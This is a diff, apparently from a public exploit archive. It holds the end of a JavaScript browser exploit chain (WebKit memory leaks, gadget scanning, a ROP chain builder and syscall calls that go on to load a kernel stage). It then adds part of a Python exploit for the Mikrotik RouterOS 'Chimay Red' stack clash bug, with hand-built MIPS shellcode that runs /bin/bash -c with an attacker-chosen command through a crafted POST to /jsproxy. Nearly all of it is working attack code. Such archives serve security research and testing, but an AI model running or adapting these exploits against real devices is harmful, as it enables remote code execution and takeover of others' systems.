"mov rxa, rdi": [0x48, 0x89, 0xF8, 0xC3]
|
||||||
|
};
|
||||||
|
var slowpath_jop = [0x48, 0x8B, 0x7F, 0x48, 0x48, 0x8B, 0x07, 0x48, 0x8B, 0x40, 0x30, 0xFF, 0xE0];
|
||||||
|
slowpath_jop.reverse();
|
||||||
|
|
||||||
|
var gadgets;
|
||||||
|
window.stage2 = function() {
|
||||||
|
try {
|
||||||
|
window.stage2_();
|
||||||
|
} catch (e) {
|
||||||
|
print(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var gadgetcache = {"ret":60,"ep":173,"pop rbp":182,"pop rax":17781,"mov rax, rdi":23248,"pop r8":100517,"pop rsp":128173,"mov [rdi], rsi":150754,"pop rcx":169041,"pop rdi":239071,"pop rsi":597265,"mov [rdi], rax":782172,"jop":813600,"pop rdx":1092690,"mov [rax], rsi":2484823,"pop r9":21430095,"infloop":22604906}, gadgetoffs = {};
|
||||||
|
window.stage2_ = function() {
|
||||||
|
p = window.prim;
|
||||||
|
print ("[+] exploit succeeded");
|
||||||
|
print("webkit exploit result: " + p.leakval(0x41414141));
|
||||||
|
print ("--- welcome to stage2 ---");
|
||||||
|
p.leakfunc = function(func)
|
||||||
|
{
|
||||||
|
var fptr_store = p.leakval(func);
|
||||||
|
return (p.read8(fptr_store.add32(0x18))).add32(0x40);
|
||||||
|
}
|
||||||
|
gadgetconn = 0;
|
||||||
|
if (!gadgetcache)
|
||||||
|
gadgetconn = new WebSocket('ws://10.17.0.1:8080');
|
||||||
|
|
||||||
|
var parseFloatStore = p.leakfunc(parseFloat);
|
||||||
|
var parseFloatPtr = p.read8(parseFloatStore);
|
||||||
|
print("parseFloat at: 0x" + parseFloatPtr);
|
||||||
|
var webKitBase = p.read8(parseFloatStore);
|
||||||
|
window.webKitBase = webKitBase;
|
||||||
|
|
||||||
|
webKitBase.low &= 0xfffff000;
|
||||||
|
webKitBase.sub32inplace(0x5b7000-0x1C000);
|
||||||
|
|
||||||
|
print("libwebkit base at: 0x" + webKitBase);
|
||||||
|
|
||||||
|
var o2wk = function(o)
|
||||||
|
{
|
||||||
|
return webKitBase.add32(o);
|
||||||
|
}
|
||||||
|
|
||||||
|
gadgets = {
|
||||||
|
"stack_chk_fail": o2wk(0xc8),
|
||||||
|
"memset": o2wk(0x228),
|
||||||
|
"setjmp": o2wk(0x14f8)
|
||||||
|
};
|
||||||
|
/*
|
||||||
|
var libSceLibcInternalBase = p.read8(get_jmptgt(gadgets.memset));
|
||||||
|
libSceLibcInternalBase.low &= ~0x3FFF;
|
||||||
|
libSceLibcInternalBase.sub32inplace(0x20000);
|
||||||
|
print("libSceLibcInternal: 0x" + libSceLibcInternalBase.toString());
|
||||||
|
window.libSceLibcInternalBase = libSceLibcInternalBase;
|
||||||
|
*/
|
||||||
|
var libKernelBase = p.read8(get_jmptgt(gadgets.stack_chk_fail));
|
||||||
|
window.libKernelBase = libKernelBase;
|
||||||
|
libKernelBase.low &= 0xfffff000;
|
||||||
|
libKernelBase.sub32inplace(0x12000);
|
||||||
|
print("libkernel_web base at: 0x" + libKernelBase);
|
||||||
|
|
||||||
|
|
||||||
|
var o2lk = function(o)
|
||||||
|
{
|
||||||
|
return libKernelBase.add32(o);
|
||||||
|
}
|
||||||
|
window.o2lk = o2lk;
|
||||||
|
|
||||||
|
var wkview = new Uint8Array(0x1000);
|
||||||
|
var wkstr = p.leakval(wkview).add32(0x10);
|
||||||
|
var orig_wkview_buf = p.read8(wkstr);
|
||||||
|
|
||||||
|
p.write8(wkstr, webKitBase);
|
||||||
|
p.write4(wkstr.add32(8), 0x367c000);
|
||||||
|
|
||||||
|
var gadgets_to_find = 0;
|
||||||
|
var gadgetnames = [];
|
||||||
|
for (var gadgetname in gadgetmap_wk) {
|
||||||
|
if (gadgetmap_wk.hasOwnProperty(gadgetname)) {
|
||||||
|
gadgets_to_find++;
|
||||||
|
gadgetnames.push(gadgetname);
|
||||||
|
gadgetmap_wk[gadgetname].reverse();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log("finding gadgets");
|
||||||
|
|
||||||
|
gadgets_to_find++; // slowpath_jop
|
||||||
|
|
||||||
|
var findgadget = function(donecb) {
|
||||||
|
if (gadgetcache)
|
||||||
|
{
|
||||||
|
gadgets_to_find=0;
|
||||||
|
slowpath_jop=0;
|
||||||
|
log("using cached gadgets");
|
||||||
|
|
||||||
|
for (var gadgetname in gadgetcache) {
|
||||||
|
if (gadgetcache.hasOwnProperty(gadgetname)) {
|
||||||
|
gadgets[gadgetname] = o2wk(gadgetcache[gadgetname]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} else {
|
||||||
|
for (var i=0; i < wkview.length; i++)
|
||||||
|
{
|
||||||
|
if (wkview[i] == 0xc3)
|
||||||
|
{
|
||||||
|
for (var nl=0; nl < gadgetnames.length; nl++)
|
||||||
|
{
|
||||||
|
var found = 1;
|
||||||
|
if (!gadgetnames[nl]) continue;
|
||||||
|
var gadgetbytes = gadgetmap_wk[gadgetnames[nl]];
|
||||||
|
for (var compareidx = 0; compareidx < gadgetbytes.length; compareidx++)
|
||||||
|
{
|
||||||
|
if (gadgetbytes[compareidx] != wkview[i - compareidx]){
|
||||||
|
found = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!found) continue;
|
||||||
|
gadgets[gadgetnames[nl]] = o2wk(i - gadgetbytes.length + 1);
|
||||||
|
gadgetoffs[gadgetnames[nl]] = i - gadgetbytes.length + 1;
|
||||||
|
delete gadgetnames[nl];
|
||||||
|
gadgets_to_find--;
|
||||||
|
}
|
||||||
|
} else if (wkview[i] == 0xe0 && wkview[i-1] == 0xff && slowpath_jop)
|
||||||
|
{
|
||||||
|
var found = 1;
|
||||||
|
for (var compareidx = 0; compareidx < slowpath_jop.length; compareidx++)
|
||||||
|
{
|
||||||
|
if (slowpath_jop[compareidx] != wkview[i - compareidx])
|
||||||
|
{
|
||||||
|
found = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!found) continue;
|
||||||
|
gadgets["jop"] = o2wk(i - slowpath_jop.length + 1);
|
||||||
|
gadgetoffs["jop"] = i - slowpath_jop.length + 1;
|
||||||
|
gadgets_to_find--;
|
||||||
|
slowpath_jop = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!gadgets_to_find) break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!gadgets_to_find && !slowpath_jop) {
|
||||||
|
log("found gadgets");
|
||||||
|
if (gadgetconn)
|
||||||
|
gadgetconn.onopen = function(e){
|
||||||
|
gadgetconn.send(JSON.stringify(gadgetoffs));
|
||||||
|
}
|
||||||
|
setTimeout(donecb, 50);
|
||||||
|
} else {
|
||||||
|
log("missing gadgets: ");
|
||||||
|
for (var nl in gadgetnames) {
|
||||||
|
log(" - " + gadgetnames[nl]);
|
||||||
|
}
|
||||||
|
if(slowpath_jop) log(" - jop gadget");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
findgadget(function(){});
|
||||||
|
var hold1;
|
||||||
|
var hold2;
|
||||||
|
var holdz;
|
||||||
|
var holdz1;
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
hold1 = {a:0, b:0, c:0, d:0};
|
||||||
|
hold2 = {a:0, b:0, c:0, d:0};
|
||||||
|
holdz1 = p.leakval(hold2);
|
||||||
|
holdz = p.leakval(hold1);
|
||||||
|
if (holdz.low - 0x30 == holdz1.low) break;
|
||||||
|
}
|
||||||
|
|
||||||
|
var pushframe = [];
|
||||||
|
pushframe.length = 0x80;
|
||||||
|
var funcbuf;
|
||||||
|
|
||||||
|
|
||||||
|
var launch_chain = function(chain)
|
||||||
|
{
|
||||||
|
|
||||||
|
var stackPointer = 0;
|
||||||
|
var stackCookie = 0;
|
||||||
|
var orig_reenter_rip = 0;
|
||||||
|
|
||||||
|
var reenter_help = {length: {valueOf: function(){
|
||||||
|
orig_reenter_rip = p.read8(stackPointer);
|
||||||
|
stackCookie = p.read8(stackPointer.add32(8));
|
||||||
|
var returnToFrame = stackPointer;
|
||||||
|
|
||||||
|
var ocnt = chain.count;
|
||||||
|
chain.push_write8(stackPointer, orig_reenter_rip);
|
||||||
|
chain.push_write8(stackPointer.add32(8), stackCookie);
|
||||||
|
|
||||||
|
if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
|
||||||
|
|
||||||
|
chain.push(gadgets["pop rsp"]); // pop rsp
|
||||||
|
chain.push(returnToFrame); // -> back to the trap life
|
||||||
|
chain.count = ocnt;
|
||||||
|
|
||||||
|
p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
|
||||||
|
p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame
|
||||||
|
}}};
|
||||||
|
|
||||||
|
var funcbuf32 = new Uint32Array(0x100);
|
||||||
|
nogc.push(funcbuf32);
|
||||||
|
funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));
|
||||||
|
|
||||||
|
p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
|
||||||
|
p.write8(funcbuf.add32(0x80), gadgets["jop"]);
|
||||||
|
p.write8(funcbuf,funcbuf);
|
||||||
|
p.write8(parseFloatStore, gadgets["jop"]);
|
||||||
|
var orig_hold = p.read8(holdz1);
|
||||||
|
var orig_hold48 = p.read8(holdz1.add32(0x48));
|
||||||
|
|
||||||
|
p.write8(holdz1, funcbuf.add32(0x50));
|
||||||
|
p.write8(holdz1.add32(0x48), funcbuf);
|
||||||
|
parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);
|
||||||
|
p.write8(holdz1, orig_hold);
|
||||||
|
p.write8(holdz1.add32(0x48), orig_hold48);
|
||||||
|
|
||||||
|
stackPointer = p.read8(funcbuf.add32(0x10));
|
||||||
|
rtv=Array.prototype.splice.apply(reenter_help);
|
||||||
|
return p.leakval(rtv);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
gadgets = gadgets;
|
||||||
|
p.loadchain = launch_chain;
|
||||||
|
window.RopChain = function () {
|
||||||
|
this.ropframe = new Uint32Array(0x10000);
|
||||||
|
this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
|
||||||
|
this.count = 0;
|
||||||
|
this.clear = function() {
|
||||||
|
this.count = 0;
|
||||||
|
this.runtime = undefined;
|
||||||
|
for (var i = 0; i < 0x1000/8; i++)
|
||||||
|
{
|
||||||
|
p.write8(this.ropframeptr.add32(i*8), 0);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
this.pushSymbolic = function() {
|
||||||
|
this.count++;
|
||||||
|
return this.count-1;
|
||||||
|
}
|
||||||
|
this.finalizeSymbolic = function(idx, val) {
|
||||||
|
p.write8(this.ropframeptr.add32(idx*8), val);
|
||||||
|
}
|
||||||
|
this.push = function(val) {
|
||||||
|
this.finalizeSymbolic(this.pushSymbolic(), val);
|
||||||
|
}
|
||||||
|
this.push_write8 = function(where, what)
|
||||||
|
{
|
||||||
|
this.push(gadgets["pop rdi"]); // pop rdi
|
||||||
|
this.push(where); // where
|
||||||
|
this.push(gadgets["pop rsi"]); // pop rsi
|
||||||
|
this.push(what); // what
|
||||||
|
this.push(gadgets["mov [rdi], rsi"]); // perform write
|
||||||
|
}
|
||||||
|
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
|
||||||
|
{
|
||||||
|
this.push(gadgets["pop rdi"]); // pop rdi
|
||||||
|
this.push(rdi); // what
|
||||||
|
this.push(gadgets["pop rsi"]); // pop rsi
|
||||||
|
this.push(rsi); // what
|
||||||
|
this.push(gadgets["pop rdx"]); // pop rdx
|
||||||
|
this.push(rdx); // what
|
||||||
|
this.push(gadgets["pop rcx"]); // pop r10
|
||||||
|
this.push(rcx); // what
|
||||||
|
this.push(gadgets["pop r8"]); // pop r8
|
||||||
|
this.push(r8); // what
|
||||||
|
this.push(gadgets["pop r9"]); // pop r9
|
||||||
|
this.push(r9); // what
|
||||||
|
this.push(rip); // jmp
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.run = function() {
|
||||||
|
var retv = p.loadchain(this, this.notimes);
|
||||||
|
this.clear();
|
||||||
|
return retv;
|
||||||
|
}
|
||||||
|
|
||||||
|
return this;
|
||||||
|
};
|
||||||
|
|
||||||
|
var RopChain = window.RopChain();
|
||||||
|
window.syscallnames = {"exit": 1,"fork": 2,"read": 3,"write": 4,"open": 5,"close": 6,"wait4": 7,"unlink": 10,"chdir": 12,"chmod": 15,"getpid": 20,"setuid": 23,"getuid": 24,"geteuid": 25,"recvmsg": 27,"sendmsg": 28,"recvfrom": 29,"accept": 30,"getpeername": 31,"getsockname": 32,"access": 33,"chflags": 34,"fchflags": 35,"sync": 36,"kill": 37,"getppid": 39,"dup": 41,"pipe": 42,"getegid": 43,"profil": 44,"getgid": 47,"getlogin": 49,"setlogin": 50,"sigaltstack": 53,"ioctl": 54,"reboot": 55,"revoke": 56,"execve": 59,"execve": 59,"msync": 65,"munmap": 73,"mprotect": 74,"madvise": 75,"mincore": 78,"getgroups": 79,"setgroups": 80,"setitimer": 83,"getitimer": 86,"getdtablesize": 89,"dup2": 90,"fcntl": 92,"select": 93,"fsync": 95,"setpriority": 96,"socket": 97,"connect": 98,"accept": 99,"getpriority": 100,"send": 101,"recv": 102,"bind": 104,"setsockopt": 105,"listen": 106,"recvmsg": 113,"sendmsg": 114,"gettimeofday": 116,"getrusage": 117,"getsockopt": 118,"readv": 120,"writev": 121,"settimeofday": 122,"fchmod": 124,"recvfrom": 125,"setreuid": 126,"setregid": 127,"rename": 128,"flock": 131,"sendto": 133,"shutdown": 134,"socketpair": 135,"mkdir": 136,"rmdir": 137,"utimes": 138,"adjtime": 140,"getpeername": 141,"setsid": 147,"sysarch": 165,"setegid": 182,"seteuid": 183,"stat": 188,"fstat": 189,"lstat": 190,"pathconf": 191,"fpathconf": 192,"getrlimit": 194,"setrlimit": 195,"getdirentries": 196,"__sysctl": 202,"mlock": 203,"munlock": 204,"futimes": 206,"poll": 209,"clock_gettime": 232,"clock_settime": 233,"clock_getres": 234,"ktimer_create": 235,"ktimer_delete": 236,"ktimer_settime": 237,"ktimer_gettime": 238,"ktimer_getoverrun": 239,"nanosleep": 240,"rfork": 251,"issetugid": 253,"getdents": 272,"preadv": 289,"pwritev": 290,"getsid": 310,"aio_suspend": 315,"mlockall": 324,"munlockall": 325,"sched_setparam": 327,"sched_getparam": 328,"sched_setscheduler": 329,"sched_getscheduler": 330,"sched_yield": 331,"sched_get_priority_max": 332,"sched_get_priority_min": 333,"sched_rr_get_interval": 334,"sigprocmask": 340,"sigprocmask": 340,"sigsuspend": 341,"sigpending": 343,"sigtimedwait": 345,"sigwaitinfo": 346,"kqueue": 362,"kevent": 363,"uuidgen": 392,"sendfile": 393,"fstatfs": 397,"ksem_close": 400,"ksem_post": 401,"ksem_wait": 402,"ksem_trywait": 403,"ksem_init": 404,"ksem_open": 405,"ksem_unlink": 406,"ksem_getvalue": 407,"ksem_destroy": 408,"sigaction": 416,"sigreturn": 417,"getcontext": 421,"setcontext": 422,"swapcontext": 423,"sigwait": 429,"thr_create": 430,"thr_exit": 431,"thr_self": 432,"thr_kill": 433,"ksem_timedwait": 441,"thr_suspend": 442,"thr_wake": 443,"kldunloadf": 444,"_umtx_op": 454,"_umtx_op": 454,"thr_new": 455,"sigqueue": 456,"thr_set_name": 464,"rtprio_thread": 466,"pread": 475,"pwrite": 476,"mmap": 477,"lseek": 478,"truncate": 479,"ftruncate": 480,"thr_kill2": 481,"shm_open": 482,"shm_unlink": 483,"cpuset_getid": 486,"cpuset_getaffinity": 487,"cpuset_setaffinity": 488,"openat": 499,"pselect": 522,"wait6": 532,"cap_rights_limit": 533,"cap_ioctls_limit": 534,"cap_ioctls_get": 535,"cap_fcntls_limit": 536,"bindat": 538,"connectat": 539,"chflagsat": 540,"accept4": 541,"pipe2": 542,"aio_mlock": 543,"procctl": 544,"ppoll": 545,"futimens": 546,"utimensat": 547,"numa_getaffinity": 548,"numa_setaffinity": 549}
|
||||||
|
|
||||||
|
function swapkeyval(json){
|
||||||
|
var ret = {};
|
||||||
|
for(var key in json){
|
||||||
|
if (json.hasOwnProperty(key)) {
|
||||||
|
ret[json[key]] = key;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
window.nameforsyscall = swapkeyval(window.syscallnames);
|
||||||
|
|
||||||
|
window.syscalls = {};
|
||||||
|
|
||||||
|
log("--- welcome to stage3 ---");
|
||||||
|
|
||||||
|
var kview = new Uint8Array(0x1000);
|
||||||
|
var kstr = p.leakval(kview).add32(0x10);
|
||||||
|
var orig_kview_buf = p.read8(kstr);
|
||||||
|
|
||||||
|
p.write8(kstr, window.libKernelBase);
|
||||||
|
p.write4(kstr.add32(8), 0x40000); // high enough lel
|
||||||
|
|
||||||
|
var countbytes;
|
||||||
|
for (var i=0; i < 0x40000; i++)
|
||||||
|
{
|
||||||
|
if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
|
||||||
|
{
|
||||||
|
countbytes = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
p.write4(kstr.add32(8), countbytes + 32);
|
||||||
|
|
||||||
|
var dview32 = new Uint32Array(1);
|
||||||
|
var dview8 = new Uint8Array(dview32.buffer);
|
||||||
|
for (var i=0; i < countbytes; i++)
|
||||||
|
{
|
||||||
|
if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
|
||||||
|
{
|
||||||
|
dview8[0] = kview[i+3];
|
||||||
|
dview8[1] = kview[i+4];
|
||||||
|
dview8[2] = kview[i+5];
|
||||||
|
dview8[3] = kview[i+6];
|
||||||
|
var syscallno = dview32[0];
|
||||||
|
window.syscalls[syscallno] = window.libKernelBase.add32(i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var chain = new window.RopChain;
|
||||||
|
var returnvalue;
|
||||||
|
p.fcall_ = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
|
||||||
|
chain.clear();
|
||||||
|
|
||||||
|
chain.notimes = this.next_notime;
|
||||||
|
this.next_notime = 1;
|
||||||
|
|
||||||
|
chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
|
||||||
|
|
||||||
|
chain.push(window.gadgets["pop rdi"]); // pop rdi
|
||||||
|
chain.push(chain.ropframeptr.add32(0x3ff8)); // where
|
||||||
|
chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
|
||||||
|
|
||||||
|
chain.push(window.gadgets["pop rax"]); // pop rax
|
||||||
|
chain.push(p.leakval(0x41414242)); // where
|
||||||
|
|
||||||
|
if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
|
||||||
|
returnvalue = p.read8(chain.ropframeptr.add32(0x3ff8)); //p.read8(chain.ropframeptr.add32(0x3ff8));
|
||||||
|
}
|
||||||
|
p.fcall = function()
|
||||||
|
{
|
||||||
|
var rv=p.fcall_.apply(this,arguments);
|
||||||
|
return returnvalue;
|
||||||
|
}
|
||||||
|
p.readstr = function(addr){
|
||||||
|
var addr_ = addr.add32(0); // copy
|
||||||
|
var rd = p.read4(addr_);
|
||||||
|
var buf = "";
|
||||||
|
while (rd & 0xFF)
|
||||||
|
{
|
||||||
|
buf += String.fromCharCode(rd & 0xFF);
|
||||||
|
addr_.add32inplace(1);
|
||||||
|
rd = p.read4(addr_);
|
||||||
|
}
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
|
||||||
|
{
|
||||||
|
if (typeof sysc == "string") {
|
||||||
|
sysc = window.syscallnames[sysc];
|
||||||
|
}
|
||||||
|
if (typeof sysc != "number") {
|
||||||
|
throw new Error("invalid syscall");
|
||||||
|
}
|
||||||
|
|
||||||
|
var off = window.syscalls[sysc];
|
||||||
|
if (off == undefined)
|
||||||
|
{
|
||||||
|
throw new Error("invalid syscall");
|
||||||
|
}
|
||||||
|
|
||||||
|
return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
|
||||||
|
}
|
||||||
|
p.sptr = function(str) {
|
||||||
|
var bufView = new Uint8Array(str.length+1);
|
||||||
|
for (var i=0; i<str.length; i++) {
|
||||||
|
bufView[i] = str.charCodeAt(i) & 0xFF;
|
||||||
|
}
|
||||||
|
window.nogc.push(bufView);
|
||||||
|
return p.read8(p.leakval(bufView).add32(0x10));
|
||||||
|
};
|
||||||
|
|
||||||
|
log("loaded sycalls");
|
||||||
|
|
||||||
|
var rtv1 = p.fcall(window.gadgets["mov rax, rdi"], 0x41414141);
|
||||||
|
var pid = p.syscall("getpid");
|
||||||
|
var uid = p.syscall("getuid");
|
||||||
|
print("all good. fcall test retval = " + rtv1 + " - uid: " + uid + " - pid: " + pid);
|
||||||
|
|
||||||
|
sc = document.createElement("script");
|
||||||
|
sc.src="kern.js";
|
||||||
|
document.body.appendChild(sc);
|
||||||
|
}
|
||||||
|
<--- /rop.js -->
|
263
exploits/hardware/remote/44283.py
Executable file
263
exploits/hardware/remote/44283.py
Executable file
|
@ -0,0 +1,263 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# Mikrotik Chimay Red Stack Clash Exploit by BigNerd95
|
||||||
|
|
||||||
|
# Tested on RouterOS 6.38.4 (mipsbe) [using a CRS109]
|
||||||
|
|
||||||
|
# Used tools: pwndbg, rasm2, mipsrop for IDA
|
||||||
|
# I used ropper only to automatically find gadgets
|
||||||
|
|
||||||
|
# ASLR enabled on libs only
|
||||||
|
# DEP NOT enabled
|
||||||
|
|
||||||
|
import socket, time, sys, struct, re
|
||||||
|
from ropper import RopperService
|
||||||
|
|
||||||
|
AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
|
||||||
|
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
|
||||||
|
SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2
|
||||||
|
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!
|
||||||
|
|
||||||
|
ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
|
||||||
|
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain
|
||||||
|
|
||||||
|
class MyRopper():
|
||||||
|
def __init__(self, filename):
|
||||||
|
self.rs = RopperService()
|
||||||
|
|
||||||
|
self.rs.clearCache()
|
||||||
|
self.rs.addFile(filename)
|
||||||
|
self.rs.loadGadgetsFor()
|
||||||
|
|
||||||
|
self.rs.options.inst_count = 10
|
||||||
|
self.rs.loadGadgetsFor()
|
||||||
|
self.rs.loadGadgetsFor() # sometimes Ropper doesn't update new gadgets
|
||||||
|
|
||||||
|
def get_gadgets(self, regex):
|
||||||
|
gadgets = []
|
||||||
|
for _, g in self.rs.search(search=regex):
|
||||||
|
gadgets.append(g)
|
||||||
|
|
||||||
|
if len(gadgets) > 0:
|
||||||
|
return gadgets
|
||||||
|
else:
|
||||||
|
raise Exception("Cannot find gadgets!")
|
||||||
|
|
||||||
|
def contains_string(self, string):
|
||||||
|
s = self.rs.searchString(string)
|
||||||
|
t = [a for a in s.values()][0]
|
||||||
|
return len(t) > 0
|
||||||
|
|
||||||
|
def get_arch(self):
|
||||||
|
return self.rs.files[0].arch._name
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_ra_offset(gadget):
|
||||||
|
"""
|
||||||
|
Return the offset of next Retun Address on the stack
|
||||||
|
So you know how many bytes to put before next gadget address
|
||||||
|
Eg:
|
||||||
|
lw $ra, 0xAB ($sp) --> return: 0xAB
|
||||||
|
"""
|
||||||
|
for line in gadget.lines:
|
||||||
|
offset_len = re.findall("lw \$ra, (0x[0-9a-f]+)\(\$sp\)", line[1])
|
||||||
|
if offset_len:
|
||||||
|
return int(offset_len[0], 16)
|
||||||
|
raise Exception("Cannot find $ra offset in this gadget!")
|
||||||
|
|
||||||
|
def makeHeader(num):
|
||||||
|
return b"POST /jsproxy HTTP/1.1\r\nContent-Length: " + bytes(str(num), 'ascii') + b"\r\n\r\n"
|
||||||
|
|
||||||
|
def makeSocket(ip, port):
|
||||||
|
s = socket.socket()
|
||||||
|
try:
|
||||||
|
s.connect((ip, port))
|
||||||
|
except:
|
||||||
|
print("Error connecting to socket")
|
||||||
|
sys.exit(-1)
|
||||||
|
print("Connected")
|
||||||
|
time.sleep(0.5)
|
||||||
|
return s
|
||||||
|
|
||||||
|
def socketSend(s, data):
|
||||||
|
try:
|
||||||
|
s.send(data)
|
||||||
|
except:
|
||||||
|
print("Error sending data")
|
||||||
|
sys.exit(-1)
|
||||||
|
print("Sent")
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
def build_shellcode(shellCmd):
|
||||||
|
shell_code = b''
|
||||||
|
shellCmd = bytes(shellCmd, "ascii")
|
||||||
|
|
||||||
|
# Here the shellcode will write the arguments for execve: ["/bin/bash", "-c", "shellCmd", NULL] and [NULL]
|
||||||
|
# XX XX XX XX <-- here the shell code will write the address of string "/bin/bash" [shellcode_start_address -16] <--- argv_array
|
||||||
|
# XX XX XX XX <-- here the shell code will write the address of string "-c" [shellcode_start_address -12]
|
||||||
|
# XX XX XX XX <-- here the shell code will write the address of string "shellCmd" [shellcode_start_address -8]
|
||||||
|
# XX XX XX XX <-- here the shell code will write 0x00000000 (used as end of argv_array and as envp_array) [shellcode_start_address -4] <--- envp_array
|
||||||
|
|
||||||
|
# The shell code execution starts here!
|
||||||
|
shell_code += struct.pack('>L', 0x24500000) # addiu s0, v0, 0 # s0 = v0 Save the shellcode_start_address in s0 (in v0 we have the address of the stack where the shellcode starts [<-- pointing to this location exactly])
|
||||||
|
shell_code += struct.pack('>L', 0x24020fa2) # addiu v0, zero, 0xfa2 # v0 = 4002 (fork) Put the syscall number of fork (4002) in v0
|
||||||
|
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start fork()
|
||||||
|
shell_code += struct.pack('>L', 0x10400003) # beqz v0, 0x10 # jump 12 byte forward if v0 == 0 Jump to execve part of the shellcode if PID is 0
|
||||||
|
|
||||||
|
# if v0 != 0 [res of fork()]
|
||||||
|
shell_code += struct.pack('>L', 0x24020001) # addiu v0, zero, 1 # a0 = 1 Put exit parameter in a0
|
||||||
|
shell_code += struct.pack('>L', 0x24020fa1) # addiu v0, zero, 0xfa1 # v0 = 4001 (exit) Put the syscall number of exit (4002) in v0
|
||||||
|
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start exit(1)
|
||||||
|
|
||||||
|
# if v0 == 0 [res of fork()]
|
||||||
|
shell_code += struct.pack('>L', 0x26040050) # addiu a0, s0, 0x50 # a0 = shellcode_start_address + 0x50 Calculate the address of string "/bin/bash" and put it in a0 (the first parameter of execve)
|
||||||
|
shell_code += struct.pack('>L', 0xae04fff0) # sw a0, -16(s0) # shellcode_start_address[-16] = bin_bash_address Write in the first entry of the "argv" array the address of the string "/bin/bash"
|
||||||
|
shell_code += struct.pack('>L', 0x26110060) # addiu s1, s0, 0x60 # s1 = shellcode_start_address + 0x60 Calculate the address of string "-c" and put it in s1
|
||||||
|
shell_code += struct.pack('>L', 0xae11fff4) # sw s1, -12(s0) # shellcode_start_address[-12] = c_address Write in the second entry of the "argv" array the address of the string "-c"
|
||||||
|
shell_code += struct.pack('>L', 0x26110070) # addiu s1, s0, 0x70 # s1 = shellcode_start_address + 0x70 Calculate the address of string "shellCmd" and put it in s1
|
||||||
|
shell_code += struct.pack('>L', 0xae11fff8) # sw s1, -8(s0) # shellcode_start_address[-8] = shellCmd_address Write in the third entry of the "argv" array the address of the string "shellCmd"
|
||||||
|
shell_code += struct.pack('>L', 0xae00fffc) # sw zero, -4(s0) # shellcode_start_address[-4] = 0x00 Write NULL address as end of argv_array and envp_array
|
||||||
|
shell_code += struct.pack('>L', 0x2205fff0) # addi a1, s0, -16 # a1 = shellcode_start_address - 16 Put the address of argv_array in a1 (the second parameter of execve)
|
||||||
|
shell_code += struct.pack('>L', 0x2206fffc) # addi a2, s0, -4 # a2 = shellcode_start_address - 4 Put the address of envp_array in a2 (the third parameter of execve)
|
||||||
|
shell_code += struct.pack('>L', 0x24020fab) # addiu v0, zero, 0xfab # v0 = 4011 (execve) Put the syscall number of execve (4011) in v0 (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h)
|
||||||
|
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start execve("/bin/bash", ["/bin/bash", "-c", "shellCmd", NULL], [NULL])
|
||||||
|
|
||||||
|
shell_code += b'P' * (0x50 - len(shell_code)) # offset to simplify string address calculation
|
||||||
|
shell_code += b'/bin/bash\x00' # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x50] <--- bin_bash_address
|
||||||
|
|
||||||
|
shell_code += b'P' * (0x60 - len(shell_code)) # offset to simplify string address calculation
|
||||||
|
shell_code += b'-c\x00' # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x60] <--- c_address
|
||||||
|
|
||||||
|
shell_code += b'P' * (0x70 - len(shell_code)) # offset to simplify string address calculation
|
||||||
|
shell_code += shellCmd + b'\x00' # [shellcode_start + 0x70] <--- shellCmd_address
|
||||||
|
|
||||||
|
return shell_code
|
||||||
|
|
||||||
|
def build_payload(binRop, shellCmd):
|
||||||
|
print("Building shellcode + ROP chain...")
|
||||||
|
|
||||||
|
